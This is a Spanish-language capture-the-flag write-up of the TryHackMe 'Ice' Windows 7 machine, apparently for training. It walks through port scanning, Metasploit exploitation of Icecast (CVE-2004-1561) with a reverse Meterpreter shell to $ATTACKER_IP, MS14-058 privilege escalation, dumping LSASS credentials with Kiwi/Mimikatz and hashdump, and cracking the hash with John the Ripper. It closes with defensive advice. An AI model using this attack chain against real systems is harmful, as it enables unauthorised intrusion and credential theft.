Ice | TryHackMe
Write-up de laboratorio sobre una máquina Windows con Icecast expuesto y varias rutas de escalada local.
Resumen de la ruta
Durante el ejercicio se utilizan los marcadores $TARGET_IP y $ATTACKER_IP para no fijar la dirección de una infraestructura concreta.
1. Reconocimiento de servicios
Empiezo con un escaneo completo para no limitar la búsqueda a los puertos habituales:
nmap -p- -T4 --min-rate 1000 --open --max-retries 2 $TARGET_IP
El objetivo responde y muestra la siguiente superficie TCP:
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5357/tcp open wsdapi
8000/tcp open http-alt
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49160/tcp open unknown
49184/tcp open unknown
Los puertos superiores a 49000 son coherentes con puertos dinámicos utilizados por RPC en Windows. El servicio que requiere una revisión específica es 8000/tcp, ya que es un puerto habitual de Icecast.
Lanzo un segundo escaneo centrado en los servicios identificados:
nmap -sC -sV -p 135,139,445,5357,8000 $TARGET_IP
La detección devuelve estos datos relevantes:
| Puerto | Servicio | Información |
|---|---|---|
135 |
MSRPC | Microsoft Windows RPC |
139 |
NetBIOS | NetBIOS sobre TCP |
445 |
SMB | Windows 7 Professional SP1 |
5357 |
HTTPAPI | SSDP/UPnP de Windows |
8000 |
Icecast | Servidor multimedia en streaming |
También se identifican el equipo DARK-PC, el grupo de trabajo WORKGROUP y una instalación de Windows 7 Professional con arquitectura x64.
2. Acceso inicial mediante Icecast
El servicio de Icecast permite ejecutar código remotamente en versiones antiguas debido a un desbordamiento al procesar cabeceras HTTP. La vulnerabilidad está registrada como CVE-2004-1561.
Uso el módulo disponible en Metasploit:
use exploit/windows/http/icecast_header
set RHOSTS $TARGET_IP
set LHOST $ATTACKER_IP
run
La sesión inversa se abre con el payload predeterminado:
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] Started reverse TCP handler on $ATTACKER_IP:4444
[*] Sending stage (203455 bytes) to $TARGET_IP
[*] Meterpreter session 1 opened ($ATTACKER_IP:4444 -> $TARGET_IP:49222)
Compruebo el contexto de la sesión:
getuid
sysinfo
Server username: Dark-PC\Dark
Computer : DARK-PC
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
El proceso explotado es de 32 bits, por lo que Meterpreter se inicia como x86/windows aunque el sistema operativo sea x64.
3. Preparación de la sesión
Antes de probar módulos locales, conviene que la sesión coincida con la arquitectura del sistema. Enumero los procesos disponibles:
ps
Entre ellos aparece taskhost.exe, ejecutándose como Dark y con arquitectura x64:
PID PPID Name Arch Session User Path
1300 1020 dwm.exe x64 1 Dark-PC\Dark C:\Windows\System32\dwm.exe
1320 692 explorer.exe x64 1 Dark-PC\Dark C:\Windows\explorer.exe
1488 692 taskhost.exe x64 1 Dark-PC\Dark C:\Windows\System32\taskhost.exe
1996 1320 Icecast2.exe x86 1 Dark-PC\Dark C:\Program Files (x86)\Icecast2 Win32\Icecast2.exe
Migro la sesión al proceso taskhost.exe:
migrate 1488
sysinfo
[*] Migrating from 1996 to 1488...
[*] Migration completed successfully.
Computer : DARK-PC
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
Meterpreter : x64/windows
La sesión ya está alineada con la arquitectura del sistema y puede utilizar módulos x64.
4. Escalada de privilegios con MS14-058
La elevación automática con getsystem no funciona porque UAC está activo. Para buscar alternativas locales ejecuto el sugeridor de exploits:
run post/multi/recon/local_exploit_suggester
Entre las opciones detectadas aparece el módulo asociado a MS14-058:
[+] exploit/windows/local/bypassuac_comhijack: The target appears to be vulnerable.
[+] exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] exploit/windows/local/cve_2019_1458_wizardopium: The target appears to be vulnerable.
[+] exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
Elijo ms14_058_track_popup_menu, que aprovecha una vulnerabilidad de win32k.sys. Configuro el objetivo y el payload para x64:
use exploit/windows/local/ms14_058_track_popup_menu
set SESSION 1
set LHOST $ATTACKER_IP
set target 1
set payload windows/x64/meterpreter/reverse_tcp
run
El exploit crea una segunda sesión:
[*] Reflectively injecting the exploit DLL and triggering the exploit...
[*] Launching netsh to host the DLL...
[+] Process 3516 launched.
[*] Reflectively injecting the DLL into 3516...
[*] Sending stage (255679 bytes) to $TARGET_IP
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 2 opened ($ATTACKER_IP:4444 -> $TARGET_IP:49240)
Verifico los permisos obtenidos:
getuid
Server username: NT AUTHORITY\SYSTEM
La sesión ya tiene el nivel máximo de privilegios local.
5. Migración a un proceso estable
Para trabajar con procesos del sistema, migro la sesión a spoolsv.exe, que se ejecuta como SYSTEM y pertenece a la arquitectura x64:
migrate -N spoolsv.exe
[*] Migrating from 3516 to 1396...
[*] Migration completed successfully.
6. Credenciales almacenadas en memoria
Con privilegios SYSTEM, cargo Kiwi, la integración de Metasploit con Mimikatz:
load kiwi
Loading extension kiwi...
Success.
Solicito todas las credenciales disponibles:
creds_all
La memoria de LSASS contiene credenciales asociadas a la cuenta Dark:
msv credentials
===============
Username Domain NTLM
-------- ------ ----
Dark Dark-PC $DARK_HASH
wdigest credentials
===================
Username Domain Password
-------- ------ --------
Dark Dark-PC $DARK_PASSWORD
Los valores sensibles se representan mediante placeholders para no publicar credenciales reales del laboratorio.
También puedo obtener los hashes locales:
hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Dark:1000:aad3b435b51404eeaad3b435b51404ee:$DARK_HASH:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
El formato es:
usuario:RID:LM_hash:NT_hash:::
Guardo el hash de Dark y lo pruebo contra rockyou.txt:
echo "$DARK_HASH" > dark_hash.txt
john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt dark_hash.txt
El resultado del laboratorio indica que la contraseña aparece en la wordlist:
Loaded 1 password hash (NT [MD4 128/128 SSE2 4x3])
$DARK_PASSWORD (?)
1g 0:00:00:00 DONE
Conclusiones
La máquina muestra una cadena de ataque muy dependiente del mantenimiento del sistema:
- Icecast expuesto permite obtener una primera sesión sin autenticación.
- La sesión inicial es de 32 bits y debe migrarse a un proceso x64.
- Windows 7 es vulnerable a una escalada local mediante MS14-058.
- La sesión
SYSTEMpermite acceder a credenciales almacenadas en memoria. - La contraseña de
Darkresulta débil frente a una wordlist pública.
Las medidas defensivas principales serían actualizar Icecast y Windows, limitar la exposición del servicio multimedia, aplicar UAC correctamente, evitar credenciales reutilizadas y proteger LSASS frente a la extracción de secretos.